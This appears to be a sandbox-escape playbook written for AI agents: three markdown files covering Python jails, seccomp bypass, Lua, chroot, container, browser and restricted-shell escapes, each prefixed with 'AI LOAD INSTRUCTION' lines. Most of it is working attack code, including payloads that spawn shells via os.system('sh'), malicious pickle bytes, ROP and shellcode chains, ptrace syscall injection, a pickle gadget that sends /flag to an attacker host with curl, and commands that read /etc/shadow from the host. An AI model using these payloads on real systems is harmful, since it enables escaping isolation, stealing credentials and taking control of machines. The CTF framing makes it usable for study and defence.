PYTHON_SANDBOX_ESCAPE.md
# Python Sandbox Escape (Pyjail) — Complete Methodology
> **AI LOAD INSTRUCTION**: Load this for complete pyjail escape techniques. Covers `__builtins__` recovery via subclass walking, keyword bypass via `getattr`/`chr()`, AST-based sandbox bypass, RestrictedPython escape, exec with custom globals, file read without `open()`, pickle deserialization, and code object manipulation. Assumes [SKILL.md](./SKILL.md) is loaded for sandbox type identification.
---
## 1. __builtins__ RECOVERY VIA SUBCLASS WALKING
The fundamental technique: walk Python's class hierarchy to find useful classes.
### The Chain
```python
# Start from any object literal
().__class__ # <class 'tuple'>
().__class__.__bases__ # (<class 'object'>,)
().__class__.__bases__[0] # <class 'object'>
().__class__.__bases__[0].__subclasses__() # ALL loaded classes
# Find useful subclass (index varies by Python version):
# Look for: os._wrap_close, warnings.catch_warnings, subprocess.Popen
# Example: find os._wrap_close
for i, cls in enumerate(''.__class__.__bases__[0].__subclasses__()):
if 'wrap_close' in str(cls):
print(i, cls)
break
# Access os.system via __init__.__globals__
().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__['system']('sh')
```
### Common Useful Subclasses
| Class | Access | Use |
|---|---|---|
| `os._wrap_close` | `.__init__.__globals__['system']` | Command execution |
| `warnings.catch_warnings` | `.__init__.__globals__['__builtins__']['__import__']` | Recover `__import__` |
| `subprocess.Popen` | Direct: `Popen(['sh'], ...)` | Command execution |
| `importlib._bootstrap._ModuleLock` | `.__init__.__globals__` | Access import machinery |
| `codecs.IncrementalDecoder` | `.__init__.__globals__` | Another globals access point |
### Alternative Starting Points
```python
''.__class__.__mro__[1].__subclasses__() # from string
[].__class__.__mro__[1].__subclasses__() # from list
{}.__class__.__mro__[1].__subclasses__() # from dict
(0).__class__.__mro__[1].__subclasses__() # from int
True.__class__.__mro__[1].__subclasses__() # from bool
```
---
## 2. KEYWORD BYPASS TECHNIQUES
### When import/os/system are Filtered
```python
# String concatenation
__builtins__.__dict__['__imp'+'ort__']('o'+'s').system('sh')
# getattr
getattr(__builtins__, '__import__')('os').system('sh')
getattr(getattr(__builtins__, '__impo' + 'rt__')('o' + 's'), 'system')('sh')
# chr() construction
eval(chr(95)*2 + chr(105) + chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(95)*2)
# Builds "__import__"
# Hex escape in string
eval("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f('os').system('sh')")
# Unicode escape
eval("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f('os')")
# Base64
import base64
eval(base64.b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ3NoJyk='))
```
### When Quotes are Filtered
```python
# Use chr() to build strings without quotes
s = chr(115) + chr(104) # "sh"
__import__(chr(111)+chr(115)).system(s)
# Use bytes/bytearray
eval(bytes([111, 115]).decode()) # "os"
# Use input() in Python 2 (reads from stdin)
# Use dict keys: list({1:2})[0].__class__.__name__ etc.
```
### When Dots are Filtered
```python
# Use getattr
getattr(getattr(__builtins__, '__import__')('os'), 'system')('sh')
# Use __getattribute__
''.__class__.__getattribute__(''.__class__, '__bases__')
```
### When Parentheses are Filtered
```python
# Python 2: print is a statement
# Python 3: decorators, class definitions, or __init_subclass__
@exec
@input
class X:
pass
# Prompts for input, evaluates as Python code
# Using __init_subclass__
class Exploit:
def __init_subclass__(cls, **kwargs):
__import__('os').system('sh')
class Trigger(Exploit):
pass
```
---
## 3. AST-BASED SANDBOX BYPASS
Some sandboxes parse the AST and block dangerous nodes.
### Common AST Restrictions and Bypasses
| Blocked AST Node | Bypass |
|---|---|
| `ast.Import` / `ast.ImportFrom` | Use `__import__()` call instead |
| `ast.Call` | Use decorators, `__init_subclass__`, or class instantiation side effects |
| `ast.Attribute` (dot access) | Use `getattr()` or `__getattribute__` |
| `ast.Subscript` (`[]`) | Use `__getitem__` method |
| All expressions | Use format strings: `f"{__import__('os').system('sh')}"` |
### Bypassing Call Restriction
```python
# If ast.Call is blocked but ast.FunctionDef is allowed:
class X:
__class_getitem__ = staticmethod(exec)
X['__import__("os").system("sh")'] # Subscript triggers exec
# Or via __init_subclass__
class Base:
def __init_subclass__(cls, cmd='', **kwargs):
__import__('os').system(cmd)
class Evil(Base, cmd='sh'):
pass
```
---
## 4. RESTRICTEDPYTHON BYPASS
RestrictedPython is used in Plone/Zope and some CTFs.
### Key Restrictions and Escapes
| Restriction | Bypass |
|---|---|
| No `_` prefix attributes | Use `getattr` with computed string |
| No `__import__` | Walk `__subclasses__` to find import mechanism |
| `_getattr_` wrapper | Find code path that doesn't go through `_getattr_` |
| `_getiter_` wrapper | Use `map`/`filter` instead of direct iteration |
```python
# RestrictedPython typically instruments attribute access with _getattr_
# Bypass by accessing __globals__ through method __func__
[x for x in ().__class__.__bases__[0].__subclasses__()
if 'BuiltinImporter' in str(x)][0].load_module('os').system('sh')
```
---
## 5. FILE READ WITHOUT open()
```python
# help() function leaks file contents
help.__class__.__init__.__globals__ # access globals
# license() / credits() in interactive mode
# They use open() internally
# pathlib
from pathlib import Path
Path('/etc/passwd').read_text()
# os module
import os
os.read(os.open('/etc/passwd', os.O_RDONLY), 1000)
# codecs
import codecs
codecs.open('/etc/passwd').read()
# URL handlers
import urllib.request
urllib.request.urlopen('file:///etc/passwd').read()
# linecache
import linecache
linecache.getlines('/etc/passwd')
```
---
## 6. PICKLE DESERIALIZATION ESCAPE
If the sandbox uses `pickle.loads()` on untrusted data:
```python
import pickle
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('sh',))
# Serialize
payload = pickle.dumps(Exploit())
# Raw pickle opcodes (no Python class needed):
# cos\nsystem\n(S'sh'\ntR.
payload = b"cos\nsystem\n(S'sh'\ntR."
pickle.loads(payload) # executes os.system('sh')
```
### Advanced Pickle Gadgets
```python
# Multi-stage: read file + send over network
payload = b"""(S'curl http://attacker/?flag='
ios
system
(S'cat /flag | curl -d @- http://attacker/'
tR."""
# Using __import__ in pickle:
# c__builtin__\n__import__\n(S'os'\ntRp0\n(S'system'\ng0\ntR
```
---
## 7. CODE OBJECT MANIPULATION
Construct a Python code object to bypass restrictions on `exec`/`eval`.
```python
import types
# Build code object that calls os.system
code = types.CodeType(
0, # argcount
0, # posonlyargcount (Python 3.8+)
0, # kwonlyargcount
2, # nlocals
4, # stacksize
0, # flags
b'\x97\x00...', # bytecode (platform-specific)
(None,), # constants
('__import__', 'os', 'system', 'sh'), # names
(), # varnames
'exploit', # filename
'exploit', # name
1, # firstlineno
b'', # lnotab
)
exec(code)
```
### Simpler: Compile + Modify
```python
# Compile allowed code, modify bytecode to do something else
c = compile("pass", "<x>", "exec")
# Replace co_code, co_consts, co_names in the code object
# Then exec(modified_code)
```
---
## 8. PYTHON 2 vs PYTHON 3 DIFFERENCES
| Aspect | Python 2 | Python 3 |
|---|---|---|
| `input()` | Evaluates expression (dangerous) | Reads string (safe) |
| `exec` | Statement: `exec "code"` | Function: `exec("code")` |
| String types | `str` (bytes) + `unicode` | `str` (unicode) + `bytes` |
| `file()` builtin | Exists: `file('/etc/passwd').read()` | Removed |
| Division | Integer division by default | Float division |
| `__builtins__` | Module or dict (context-dependent) | Module or dict |
---
## 9. CTF PYJAIL QUICK CHECKLIST
```
1. What Python version? (2 vs 3, exact minor)
2. What's available in __builtins__?
3. Is eval/exec available?
4. Is __import__ available?
5. Are underscores (_) allowed?
6. Are dots (.) allowed?
7. Are parentheses allowed?
8. Are quotes (' ") allowed?
9. Character length limit?
10. Newline allowed? (multi-statement)
11. Is output returned to you?
12. What modules are pre-imported?
13. Is the jail forking or threading?
14. Any AST-level restrictions?
15. Is pickle/marshal/shelve used anywhere?
```
---
## 10. DECISION TREE
```
Python sandbox escape
├── __builtins__ intact?
│ ├── YES → __import__('os').system('sh')
│ └── NO → need to recover builtins
├── Can access __class__/__bases__/__subclasses__?
│ ├── YES → subclass walk to find os/subprocess
│ └── NO (underscores blocked)
│ ├── getattr available? → getattr((), chr(95)*2 + 'class' + chr(95)*2)
│ └── Everything blocked? → try decorators, f-strings, code objects
├── Keywords filtered?
│ ├── String concat: 'im'+'port'
│ ├── chr(): chr(105)+chr(109)+...
│ ├── Hex: "\x69\x6d\x70\x6f\x72\x74"
│ └── getattr + computed string
├── eval/exec available?
│ ├── YES → construct payload string + eval/exec
│ └── NO → class tricks (__init_subclass__, __class_getitem__)
├── Pickle/marshal in scope?
│ └── YES → craft malicious pickle → os.system via __reduce__
└── Need file read only (no exec)?
├── pathlib.Path.read_text()
├── os.read(os.open(...))
└── linecache.getlines()
```
SECCOMP_BYPASS.md
# Seccomp Bypass — Architecture Confusion, io_uring, Allowed Syscall Chaining
> **AI LOAD INSTRUCTION**: Load this for seccomp filter bypass techniques. Covers architecture confusion (x86_64/x86 syscall number mismatch), io_uring bypass, ptrace-based bypass, allowed syscall chaining for ORW, namespace escape, and return value manipulation. Assumes [SKILL.md](./SKILL.md) is loaded for sandbox type identification.
---
## 1. SECCOMP FUNDAMENTALS
### Seccomp Modes
| Mode | Set Via | Behavior |
|---|---|---|
| Strict mode | `prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT)` | Only `read`, `write`, `exit`, `sigreturn` allowed |
| Filter mode (BPF) | `prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, prog)` | Custom BPF program decides per syscall |
### BPF Filter Structure
```c
struct seccomp_data {
int nr; // syscall number
__u32 arch; // AUDIT_ARCH_X86_64, AUDIT_ARCH_I386, etc.
__u64 instruction_pointer;
__u64 args[6]; // syscall arguments
};
```
### Reading seccomp Rules
```bash
# Dump seccomp filter from binary
seccomp-tools dump ./binary
# Output example:
# line CODE JT JF K
# 0000: 0x20 00 00 00000004 A = arch
# 0001: 0x15 00 05 c000003e if (A != ARCH_X86_64) goto 0007
# 0002: 0x20 00 00 00000000 A = sys_number
# 0003: 0x15 03 00 0000003b if (A == execve) goto 0007 (KILL)
# 0004: 0x15 02 00 00000142 if (A == execveat) goto 0007 (KILL)
# 0005: 0x06 00 00 7fff0000 return ALLOW
```
---
## 2. ARCHITECTURE CONFUSION
**x86_64 processes can invoke x86 (32-bit) syscalls using `int 0x80`.** Syscall numbers differ between architectures.
### Attack Scenario
```
seccomp filter:
if arch != AUDIT_ARCH_X86_64 → KILL (blocks 32-bit)
if nr == 59 (execve) → KILL
else → ALLOW
Bypass: The filter checks arch correctly. NOT vulnerable to simple confusion.
Vulnerable filter:
if nr == 59 (execve) → KILL ← only checks x86_64 syscall numbers
else → ALLOW
(no arch check!)
Bypass:
Use int 0x80 with 32-bit syscall number for execve (11, not 59)
Filter sees nr=11, doesn't match 59 → ALLOW → execve executes!
```
### x86 vs x86_64 Syscall Number Table (Key Differences)
| Syscall | x86_64 nr | x86 (32-bit) nr |
|---|---|---|
| read | 0 | 3 |
| write | 1 | 4 |
| open | 2 | 5 |
| execve | 59 | 11 |
| mmap | 9 | 90 (old) / 192 (mmap2) |
| mprotect | 10 | 125 |
### Exploitation Code
```nasm
; 32-bit execve via int 0x80 from 64-bit process
; Note: registers are truncated to 32 bits
mov ebx, binsh_addr_low32 ; arg1: filename (must be in low 4GB)
xor ecx, ecx ; arg2: argv = NULL
xor edx, edx ; arg3: envp = NULL
mov eax, 11 ; __NR_execve (32-bit)
int 0x80 ; invoke 32-bit syscall interface
```
**Constraint**: All addresses must be in the lower 4GB (32-bit addressable). Use `mmap(addr, size, ..., MAP_32BIT, ...)` or ensure data is on stack (which may be below 4GB on some configs).
---
## 3. ORW (OPEN-READ-WRITE) CHAIN
When `execve` is blocked but `open`/`read`/`write` are allowed:
### ROP-based ORW
```python
# Build ROP chain for: open("flag") → read(fd, buf, size) → write(1, buf, size)
rop = b''
# open("flag", O_RDONLY)
rop += p64(pop_rdi) + p64(flag_str_addr)
rop += p64(pop_rsi) + p64(0) # O_RDONLY
rop += p64(pop_rax) + p64(2) # SYS_open
rop += p64(syscall_ret)
# read(3, buf, 0x100) — fd=3 (first opened file)
rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(buf_addr)
rop += p64(pop_rdx) + p64(0x100)
rop += p64(pop_rax) + p64(0) # SYS_read
rop += p64(syscall_ret)
# write(1, buf, 0x100)
rop += p64(pop_rdi) + p64(1) # stdout
rop += p64(pop_rsi) + p64(buf_addr)
rop += p64(pop_rdx) + p64(0x100)
rop += p64(pop_rax) + p64(1) # SYS_write
rop += p64(syscall_ret)
```
### Shellcode-based ORW
```nasm
; open
lea rdi, [rip + flag_path]
xor rsi, rsi
mov rax, 2
syscall
; read
mov rdi, rax ; fd from open
lea rsi, [rsp - 0x100]
mov rdx, 0x100
xor rax, rax
syscall
; write
mov rdi, 1
mov rdx, rax ; bytes read
lea rsi, [rsp - 0x100]
mov rax, 1
syscall
flag_path: .ascii "flag\x00"
```
### When open is Blocked but openat Allowed
```python
# SYS_openat(AT_FDCWD, "flag", O_RDONLY)
# AT_FDCWD = -100 (0xffffffffffffff9c)
rop += p64(pop_rdi) + p64(0xffffffffffffff9c) # AT_FDCWD
rop += p64(pop_rsi) + p64(flag_str_addr)
rop += p64(pop_rdx) + p64(0)
rop += p64(pop_rax) + p64(257) # SYS_openat
rop += p64(syscall_ret)
```
---
## 4. io_uring BYPASS
`io_uring` is a Linux async I/O interface (kernel ≥ 5.1). io_uring operations are handled by **kernel worker threads** which may bypass seccomp filters applied to the calling thread.
### Why It Works
- seccomp filters are per-thread
- io_uring submission creates kernel work items processed by kworker
- kworker threads may not inherit the seccomp filter (kernel version dependent)
- Patched in kernel ≥ 5.12 (`IORING_SETUP_R_DISABLED` and seccomp propagation)
### Attack
```c
// Setup io_uring ring
struct io_uring ring;
io_uring_queue_init(8, &ring, 0);
// Submit IORING_OP_OPENAT + IORING_OP_READ + IORING_OP_WRITE
// These operations execute in kernel context, bypassing user seccomp
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_openat(sqe, AT_FDCWD, "/flag", O_RDONLY, 0);
sqe->user_data = 1;
io_uring_submit(&ring);
// ... read completion, submit read, write operations ...
```
**Status**: Fixed in modern kernels. io_uring operations now respect seccomp of the submitting thread.
---
## 5. PTRACE-BASED BYPASS
If `ptrace` syscall is allowed by seccomp:
```c
// Fork child process (if fork allowed)
pid_t pid = fork();
if (pid == 0) {
// Child: wait for parent to attach
raise(SIGSTOP);
execve("/bin/sh", NULL, NULL); // will be intercepted by parent
} else {
// Parent: attach to child
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
waitpid(pid, NULL, 0);
ptrace(PTRACE_CONT, pid, NULL, NULL);
// Child's execve may succeed if child doesn't have seccomp
// Or: inject syscalls into child via PTRACE_POKETEXT
}
```
### Injection via ptrace
```c
// Write syscall instruction into child's memory
ptrace(PTRACE_POKETEXT, pid, addr, syscall_bytes);
// Set child's registers
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
regs.rax = 59; // execve
regs.rdi = binsh_addr;
regs.rsi = 0;
regs.rdx = 0;
regs.rip = addr;
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
ptrace(PTRACE_CONT, pid, NULL, NULL);
```
---
## 6. ALLOWED SYSCALL CHAINING
Build useful primitives from seemingly-harmless allowed syscalls:
| Allowed Syscall | Primitive |
|---|---|
| `mmap` + `mprotect` | Allocate RWX page → write shellcode → jump |
| `mprotect` alone | Make existing page executable |
| `sendfile` | `sendfile(stdout_fd, file_fd, NULL, size)` → exfiltrate file without read() |
| `splice` + `tee` | Move data between fds without read/write |
| `process_vm_readv` | Read another process's memory |
| `prctl(PR_SET_NAME)` | Write 16 bytes to kernel-visible comm field |
| `memfd_create` + `execveat` | Create anonymous file → execute it (if both allowed) |
### sendfile ORW Alternative
```python
# If read/write blocked but sendfile allowed:
# open flag file
rop += pop_rdi + flag_str + pop_rsi + p64(0) + pop_rax + p64(2) + syscall_ret
# sendfile(1, 3, NULL, 0x100) — out_fd=stdout, in_fd=3
rop += pop_rdi + p64(1) + pop_rsi + p64(3) + pop_rdx + p64(0)
rop += pop_r10 + p64(0x100) + pop_rax + p64(40) + syscall_ret # SYS_sendfile=40
```
---
## 7. NAMESPACE + SECCOMP INTERACTION
### unshare for Filesystem Access
If `unshare` is allowed:
```c
// Create new mount namespace
unshare(CLONE_NEWNS);
// Mount procfs or other filesystems
mount("proc", "/proc", "proc", 0, NULL);
// Access files via /proc that weren't available before
```
### User Namespace Tricks
```c
// Create user namespace (unprivileged)
unshare(CLONE_NEWUSER);
// Inside: UID 0 (fake root)
// Can mount FUSE, access /proc differently
// Some seccomp filters don't account for namespace changes
```
---
## 8. RETURN VALUE MANIPULATION
### SECCOMP_RET_ERRNO
Some filters return `SECCOMP_RET_ERRNO` instead of `SECCOMP_RET_KILL`. The syscall fails but the process continues.
```c
// If filter returns ERRNO for dangerous calls:
// Process survives → try alternative syscalls
// Example: execve returns EPERM → try execveat instead
// Or: brute-force which syscalls are allowed vs killed vs ERRNO
```
### SECCOMP_RET_TRACE
If filter uses `SECCOMP_RET_TRACE`, a tracer (ptrace parent) can modify syscall number and arguments before execution.
---
## 9. DECISION TREE
```
seccomp filter active
├── Dump rules: seccomp-tools dump ./binary
├── Architecture check present?
│ ├── NO → architecture confusion (use int 0x80 for 32-bit syscalls)
│ └── YES → 32-bit bypass blocked
├── What's blocked?
│ ├── Only execve/execveat → ORW chain (open+read+write or openat+read+write)
│ ├── execve + open → openat? sendfile? io_uring?
│ ├── execve + open + openat → io_uring (if kernel < 5.12)?
│ └── Whitelist mode (only specific allowed)?
│ ├── mmap + mprotect allowed? → shellcode execution
│ ├── sendfile allowed? → file exfiltration without read/write
│ ├── ptrace allowed? → inject syscalls into child
│ └── Check every alternative: splice, tee, process_vm_readv
├── Kernel version?
│ ├── < 5.1 → no io_uring available
│ ├── 5.1–5.11 → io_uring bypass possible
│ └── ≥ 5.12 → io_uring seccomp-aware
├── Can fork/clone?
│ ├── YES + ptrace allowed → inject syscalls into child process
│ └── NO → single-process escape only
└── RET_KILL vs RET_ERRNO?
├── RET_KILL → process dies on violation (must avoid blocked calls)
└── RET_ERRNO → process survives, try alternative syscalls
```
SKILL.md
---
name: sandbox-escape-techniques
description: >-
Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.
---
# SKILL: Sandbox Escape — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker/container, and browser sandbox contexts. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf-wiki sandbox sections and real-world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques.
## 0. RELATED ROUTING
- [browser-exploitation-v8](../browser-exploitation-v8/SKILL.md) — V8 exploitation for renderer RCE before browser sandbox escape
- [container-escape-techniques](../container-escape-techniques/SKILL.md) — Docker/container specific escape techniques
- [kernel-exploitation](../kernel-exploitation/SKILL.md) — kernel exploit for container/namespace escape
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) — post-escape privilege escalation
### Advanced References
- [PYTHON_SANDBOX_ESCAPE.md](./PYTHON_SANDBOX_ESCAPE.md) — Full pyjail methodology: `__builtins__` recovery, keyword bypass, AST bypass, pickle escape
- [SECCOMP_BYPASS.md](./SECCOMP_BYPASS.md) — Architecture confusion, io_uring bypass, ptrace bypass, allowed syscall chaining
---
## 1. SANDBOX TYPE IDENTIFICATION
| Sandbox Type | Indicators | Typical Context |
|---|---|---|
| Python sandbox (pyjail) | Limited builtins, filtered keywords, `exec`/`eval` available | CTF, online judges, Jupyter |
| Lua sandbox | No `os`, `io` modules; restricted metatables | Game scripting, config |
| seccomp | syscall filtering, `prctl(PR_SET_SECCOMP)` | CTF pwn, container hardening |
| chroot | Changed root filesystem, limited `/proc` access | Legacy isolation |
| Docker/container | Namespaces, cgroups, reduced capabilities | Cloud, microservices |
| Browser (renderer) | OS-level sandbox (seccomp-bpf + namespaces on Linux) | Chrome, Firefox |
| Namespace isolation | PID/mount/network/user namespace | Container runtimes |
---
## 2. PYTHON SANDBOX ESCAPE (OVERVIEW)
See [PYTHON_SANDBOX_ESCAPE.md](./PYTHON_SANDBOX_ESCAPE.md) for full methodology.
### Quick Reference
| Technique | One-Liner |
|---|---|
| Subclass walk | `().__class__.__bases__[0].__subclasses__()` → find `os._wrap_close` → `__init__.__globals__['system']` |
| Import recovery | `__builtins__.__import__('os').system('sh')` |
| getattr bypass | `getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os')` |
| chr construction | `eval(chr(95)+chr(95)+'import'+chr(95)+chr(95))` |
| Pickle escape | `pickle.loads(b"cos\nsystem\n(S'sh'\ntR.")` |
| Code object | Construct `types.CodeType(...)` then `exec()` with custom bytecode |
---
## 3. LUA SANDBOX ESCAPE
### Restricted Environment Bypass
```lua
-- If debug library available:
debug.getinfo(1) -- information leakage
debug.getregistry() -- access global registry
debug.getupvalue(func, 1) -- read closed-over variables
debug.setupvalue(func, 1, new_val) -- overwrite upvalues
-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io
-- If loadstring available:
loadstring("os.execute('sh')")()
-- If string.dump available:
-- Dump function bytecode, patch it, load modified function
-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globals
```
### Lua FFI Escape (LuaJIT)
```lua
-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")
-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry
```
---
## 4. CHROOT ESCAPE
| Technique | Condition | Method |
|---|---|---|
| Open fd to real root | File descriptor leaked from outside chroot | `fchdir(leaked_fd)` then `chroot(".")` |
| Double chroot | Process is root inside chroot | `mkdir("x"); chroot("x"); chdir("../../../..")` |
| TIOCSTI ioctl | Terminal access (fd 0 is a TTY) | Inject keystrokes to parent shell via `ioctl(0, TIOCSTI, &c)` |
| /proc access | `/proc` mounted inside chroot | `/proc/1/root/` → access real root filesystem |
| ptrace | CAP_SYS_PTRACE | Attach to process outside chroot |
| Mount namespace | Privileged | Mount real root into chroot |
### Double Chroot Escape
```c
// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape"); // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot("."); // now at real root
execl("/bin/sh", "sh", NULL);
```
---
## 5. BROWSER SANDBOX ESCAPE (OVERVIEW)
### Chrome Sandbox Architecture (Linux)
```
Renderer Process:
├── seccomp-bpf (syscall filter)
├── PID namespace (isolated PIDs)
├── Network namespace (no direct network)
├── Mount namespace (minimal filesystem)
└── Reduced capabilities (no CAP_SYS_ADMIN etc.)
```
### Escape Vectors
| Vector | Description |
|---|---|
| Mojo IPC bug | UAF or type confusion in Mojo interface handler in browser process |
| Shared memory corruption | Corrupt shared memory segments between renderer and browser |
| GPU process bug | Exploit GPU process (less sandboxed) as stepping stone |
| Kernel exploit | Escape directly via kernel vulnerability (bypasses all sandboxing) |
| Signal handling | Race condition in signal delivery across sandbox boundary |
### Mojo Interface Attack Pattern
```
1. Renderer RCE achieved (via V8/Blink bug)
2. Enumerate available Mojo interfaces from renderer
3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
4. Craft malicious Mojo message → trigger bug in browser process
5. Browser process is unsandboxed → full system access
```
---
## 6. NAMESPACE ESCAPE
### User Namespace Escalation
```bash
# If allowed to create user namespaces (unprivileged):
unshare -Urm # Create new user + mount namespace as root inside
# Inside namespace: can mount, modify, etc.
# Escape requires kernel bug or misconfiguration
```
### PID Namespace Escape
```bash
# If /proc is from host (misconfigured container):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Enters init process namespaces → host access
```
### Mount Namespace Tricks
```bash
# If can see host filesystem via /proc/1/root:
ls -la /proc/1/root/ # host root filesystem
cat /proc/1/root/etc/shadow # read host files
# If can mount:
mount -t proc proc /proc
# Access host /proc entries
```
---
## 7. RBASH / RESTRICTED SHELL ESCAPE
| Technique | Method |
|---|---|
| vi/vim | `:!/bin/bash` or `:set shell=/bin/bash` then `:shell` |
| less/more | `!/bin/bash` |
| awk | `awk 'BEGIN {system("/bin/bash")}'` |
| find | `find / -exec /bin/bash \;` |
| python/perl/ruby | `python -c 'import pty;pty.spawn("/bin/bash")'` |
| ssh | `ssh user@host -t /bin/bash` |
| Environment | `export PATH=/usr/bin:/bin; /bin/bash` |
| cp | Copy `/bin/bash` to allowed directory |
| git | `git help config` → then `!/bin/bash` in pager |
| Encoding | `echo /bin/bash | base64 -d | sh` |
---
## 8. DECISION TREE
```
What type of sandbox?
├── Python sandbox (pyjail)?
│ └── See PYTHON_SANDBOX_ESCAPE.md
│ ├── __builtins__ available? → direct import
│ ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
│ ├── Keywords filtered? → chr()/getattr() construction
│ └── eval/exec available? → code object manipulation
│
├── Lua sandbox?
│ ├── debug library available? → getregistry/getupvalue
│ ├── FFI available (LuaJIT)? → ffi.C.system()
│ ├── loadstring available? → load arbitrary code
│ └── All restricted? → metatable chain exploitation
│
├── seccomp filter?
│ └── See SECCOMP_BYPASS.md
│ ├── Architecture confusion (32-bit syscalls from 64-bit)
│ ├── Allowed syscalls → ORW chain
│ ├── io_uring allowed? → bypass via io_uring
│ └── ptrace allowed? → debug child process
│
├── chroot jail?
│ ├── Root inside chroot? → double chroot escape
│ ├── Leaked fd? → fchdir to real root
│ ├── /proc mounted? → /proc/1/root access
│ └── Terminal access? → TIOCSTI injection
│
├── Container / Docker?
│ ├── Privileged container? → mount host, load kernel module
│ ├── Mounted docker.sock? → docker API → escape
│ ├── See ../container-escape-techniques/SKILL.md
│ └── Kernel exploit → full escape
│
├── Browser sandbox?
│ ├── Have renderer RCE? → target Mojo IPC for browser escape
│ ├── GPU process accessible? → less-sandboxed stepping stone
│ └── Kernel exploit → bypass sandbox entirely
│
└── Restricted shell (rbash)?
└── Find any interactive program (vi, less, python, awk, git)
```